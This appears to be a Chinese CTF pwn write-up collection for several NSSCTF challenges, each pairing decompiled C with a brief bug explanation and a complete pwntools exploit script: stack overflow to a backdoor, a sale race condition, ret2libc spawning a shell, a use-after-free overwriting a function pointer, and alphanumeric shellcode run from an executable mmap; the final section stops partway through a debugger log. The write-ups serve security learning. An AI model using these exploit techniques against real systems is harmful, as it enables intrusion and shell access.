  puts("There may be many uncertainties in the world, but the only certainty is my love for you.\n");
  v4[1] = 20020819;
  srand(0x1317E53u);
  v5 = rand() % 100 - 64;
  __isoc99_scanf("%d", v4);
  if ( v5 == v4[0] )
    backdoor();
  else
    puts("Oh :( , you didn't get my love");
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

v4 = clibc.srand(0x1317E53)
v5 = clibc.rand()
v5 = v5%100-64
sl(str(v5))
inter()

11.11

[SDCTF 2022]Horoscope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[48]; // [rsp+10h] [rbp-30h] BYREF

  puts("Welcome to SDCTF's very own text based horoscope");
  puts("please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope");
  fflush(stdout);
  fgets(s, 320, stdin);
  processInput(s);
  return 0;
}
int __fastcall processInput(char *a1)
{
  const char *nptr; // [rsp+18h] [rbp-28h]
  int i; // [rsp+2Ch] [rbp-14h]
  int v4; // [rsp+3Ch] [rbp-4h]

  nptr = strtok(a1, "/");
  for ( i = 0; i <= 3; ++i )
  {
    if ( !i )
      v4 = atoi(nptr);
    if ( i == 3 )
      atoi(nptr);
  }
  switch ( v4 )
  {
    case 1:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "January");
      break;
    case 2:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "February");
      break;
    case 3:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "March");
      break;
    case 4:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "April");
      break;
    case 5:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "May");
      break;
    case 6:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "June");
      break;
    case 7:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "July");
      break;
    case 8:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "August");
      break;
    case 9:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "September");
      break;
    case 10:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "October");
      break;
    case 11:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "November");
      break;
    case 12:
      printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "December");
      break;
    default:
      puts("thats not a valid date >:-(");
      fflush(stdout);
      exit(1);
  }
  return fflush(stdout);
}

明显的栈溢出让程序正常执行下去所以要有1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28993
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
system_addr = 0x40095F
offset = 0x30 + 8
payload = flat([b'1'+cyclic(offset-1),system_addr])
sl(payload)
inter()

[NISACTF 2022]shop_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
void __noreturn game()
{
  int v0; // eax
  int i; // [rsp+Ch] [rbp-4h]

  while ( 1 )
  {
    while ( 1 )
    {
      puts("     Welcome to my shop     ");
      puts("+===========================+");
      puts("| No|        | Sell| Recycle|");
      puts("+===+========+=====+========+");
      for ( i = 0; i <= 15; ++i )
      {
        if ( *(_DWORD *)&gd[24 * i + 16] )
          printf(
            "| %d | %-4s   | %3d |   %3d  |\n",
            i,
            &gd[24 * i],
            *(_DWORD *)&gd[24 * i + 16],
            *(_DWORD *)&gd[24 * i + 20]);
      }
      puts("+===========================+");
      puts("1. look bags\n2. buy goods\n3. sale goods");
      printf("> ");
      v0 = read_int();
      if ( v0 != 2 )
        break;
      buy();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        sale();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_17:
        puts("Invalid!");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_17;
      look();
    }
  }
}
unsigned __int64 sale()
{
  int v1; // [rsp+Ch] [rbp-14h]
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Which one?\n> ");
  v1 = read_int();
  if ( bags[v1] )
  {
    pthread_create(&newthread, 0LL, to_sale, (void *)v1);
    puts("Fair prices!");
  }
  else
  {
    puts("R U kidding me?");
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 buy()
{
  int v1; // [rsp+Ch] [rbp-14h]
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Which one?\n> ");
  v1 = read_int();
  if ( v1 == 1 || v1 == 2 || v1 == 3 )
  {
    if ( *(_DWORD *)&gd[24 * v1 + 16] <= money )
    {
      if ( v1 == 3 )
      {
        money -= *(_DWORD *)&gd[88];
        puts("God bless you");
      }
      else
      {
        pthread_create(&newthread, 0LL, to_buy, (void *)v1);
        puts("Thank you for your patronage~");
      }
    }
    else
    {
      puts("Poor bastard!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
void *__fastcall to_sale(void *a1)
{
  int v1; // eax
  void *result; // rax

  v1 = bags[(int)a1];
  if ( v1 == 1 )
  {
    money += dword_60214C;
  }
  else
  {
    if ( v1 != 2 )
    {
      printf("Oops???");
      exit(0);
    }
    money += dword_602164;
  }
  usleep(0xC350u);
  result = (void *)(int)a1;
  bags[(int)a1] = 0;
  return result;
}

我们可以在usleep的时候再次卖出物品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 23234
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
sl("3")
sl("0")
sl("3")
sl("0")
sl("3")
sl("0")
sl("2")
sl("1")
sl("1")
inter()

[CISCN 2019华中]PWN1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

一个明显的加密程序

有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

打ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + 0x4f440, libc_base + 0x1b3e9a
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 24787
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x50 + 8

sl("1")
payload = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],rdi,elf.got['gets'],elf.plt['puts'],0x0000000004009A0])
r()
sl(payload)
get_addr()
puts_addr = get_addr()
gets_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("gets addr : {:#x}".format(gets_addr))

libc_base = puts_addr - 0x809c0
system,bin = get_sb()
payload = flat([cyclic(offset),rdi,bin,system])
sl(payload)
inter()

[BJDCTF 2020]YDSneedGirlfriend

尝试运行

1
2
3
4
5
6
7
8
YDS need a grilfriend!,can u help him?
------------------------
 1. Add a girlfriend  
 2. Delete a girlfriend 
 3. show her name     
 4. give up           
------------------------
Your choice :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  myinit(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4uLL);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_girlfriend();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_girlfriend();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_girlfriend();
    }
  }
}

当他等于2的时候删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 del_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriendlist + v1) )
    {
      free(*((void **)*(&girlfriendlist + v1) + 1));
      free(*(&girlfriendlist + v1));
      puts("Success");//存在double free
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

输入3的时候输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 print_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriendlist + v1) )
      (*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

不为空的时候调用了函数指针

为1的时候添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 add_girlfriend()
{
  __int64 v0; // rbx
  int i; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  if ( count <= 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( !*(&girlfriendlist + i) )
      {
        *(&girlfriendlist + i) = malloc(0x10uLL);
        if ( !*(&girlfriendlist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
        printf("Her name size is :");
        read(0, buf, 8uLL);
        v3 = atoi(buf);
        v0 = (__int64)*(&girlfriendlist + i);
        *(_QWORD *)(v0 + 8) = malloc(v3);
        if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Her name is :");
        read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
        puts("Success !Wow YDS get a girlfriend!");
        ++count;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readfsqword(0x28u) ^ v5;
}

所以我们添加两个大于0x20的name的chunk，然后进行free，这时候我们有两个0x10的堆块被释放了，我们添加一个0x10的name的chunk就可控制index为0的函数指针，然后print调用他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
# from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node4.anna.nssctf.cn"
    port = 28267
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
def choice(i):
    sla(b"Your choice :",str(i))
def add(size,content):
    choice(1)
    sla(b"Her name size is :",str(size))
    sla(b"Her name is :",content)
def delete(idx):
    choice(2)
    sla(b"Index :",str(idx))
add(0x40,"aaa")
add(0x40,"aaa")
add(0x10,"aaa")
delete(0)
delete(1)
add(0x10,p64(elf.sym['backdoor']))
choice(3)
sla(b"Index :",str(0))

inter()

[CISCN 2022 初赛]login_normal

1
2
3
4
5
6
[*] '/home/pwn/pwn/nssctf/11.11/CISCN_2022_初赛_login_normal/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

防御全开的一个题目

逆向一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(const char *a1)
{
  char *sa; // [rsp+8h] [rbp-48h]
  char *sb; // [rsp+8h] [rbp-48h]
  char *sc; // [rsp+8h] [rbp-48h]
  char *sd; // [rsp+8h] [rbp-48h]
  char v7; // [rsp+17h] [rbp-39h]
  int v8; // [rsp+1Ch] [rbp-34h]
  int v9; // [rsp+2Ch] [rbp-24h]
  void *dest; // [rsp+30h] [rbp-20h]
  char *s1; // [rsp+38h] [rbp-18h]
  char *nptr; // [rsp+40h] [rbp-10h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));
  v8 = 0;
  v7 = 0;
  dest = 0LL;
  while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != '\n') )
  {
    if ( v8 <= 5 )
      qword_202040[2 * v8] = a1;
    sb = strchr(a1, ':');
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)qword_202040[2 * v8];
    nptr = (char *)qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
  *a1 = 0;
  sa = (char *)(a1 + 1);
  if ( *sa == 10 )
    *sa = 0;
  switch ( v7 )
  {
    case 2:
      sub_DA8((const char *)dest);
      break;
    case 3:
      sub_EFE((const char *)dest);
      break;
    case 1:
      sub_CBD((const char *)dest);
      break;
    default:
      puts("error.");
      exit(6);
  }
  return __readfsqword(0x28u) ^ v13;
}

逆向出格式发现v9 = strlen(nptr) - 1;​所以我们又多一个字符无效字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
  unsigned int v1; // eax
  size_t v2; // rax
  int i; // [rsp+14h] [rbp-2Ch]
  void *dest; // [rsp+18h] [rbp-28h]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( unk_202028 != 1 )
  {
    puts("oh!");
    exit(-1);
  }
  if ( unk_202024 )
  {
    v1 = getpagesize();
    dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
    v2 = strlen(a1);
    memcpy(dest, a1, v2);
    ((void (*)(void))dest)();
  }
  else
  {
    puts(a1);
  }
  return __readfsqword(0x28u) ^ v6;
}

发现往可执行的mmap里面写入shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

sl("opt:1\nmsg:ro0tt\n")
shellcode=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
payload=b'opt:2\nmsg:'+shellcode+b'\n'
sl(payload)
inter()

[BJDCTF 2020]babyrop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  gift();
  vuln();
  return 0;
}
unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 vuln()
{
  _BYTE buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

可以泄露canary的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.11/BJDCTF_2020_babyrop2 [18:12:38] C:130             │   2         0x40090f main+53
$ python3 exp.py                                                                                │   3   0x7fa4fe4fdd90 __libc_start_call_main+128
[+] Starting local process './pwn': pid 7089                                                    │   4   0x7fa4fe4fde40 __libc_start_main+128
[*] pid: 7089                                                                                   │   5         0x4006c9 _start+41
[*] '/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/pwn'                                       │────────────────────────────────────────────────────────────────────────────────────────────────
    Arch:       amd64-64-little                                                                 │pwndbg> search N1ght
    RELRO:      Partial RELRO                                                                   │Searching for byte: b'N1ght'
    Stack:      Canary found                                                                    │[heap]          0x142e2a0 0xa746867314e /* 'N1ght\n' */
    NX:         NX enabled                                                                      │[stack]         0x7fffc44857b0 0x746867314e /* 'N1ght' */
    PIE:        No PIE (0x400000)                                                               │[stack]         0x7fffc4487660 0x746867314e /* 'N1ght' */
    Stripped:   No                                                                              │[stack]         0x7fffc44878d0 0x746867314e /* 'N1ght' */
[*] Loaded 14 cached gadgets for './pwn'                                                        │pwndbg> stack
[*] ret addr : 0x4005f9                                                                         │00:0000│ rsp 0x7fffc44878b8 —▸ 0x4008c3 (vuln+60) ◂— nop 
[*] rdi addr : 0x400993                                                                         │01:0008│ rsi 0x7fffc44878c0 —▸ 0x7fa4fe745040 (_rtld_global) —▸ 0x7fa4fe7462e0 ◂— 0
/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/exp.py:7: BytesWarning: Text is not bytes; assum│02:0010│-018 0x7fffc44878c8 —▸ 0x400870 (gift+92) ◂— nop 
ing ASCII, no guarantees. See https://docs.pwntools.com/#bytes                                  │03:0018│-010 0x7fffc44878d0 ◂— 0x746867314e /* 'N1ght' */
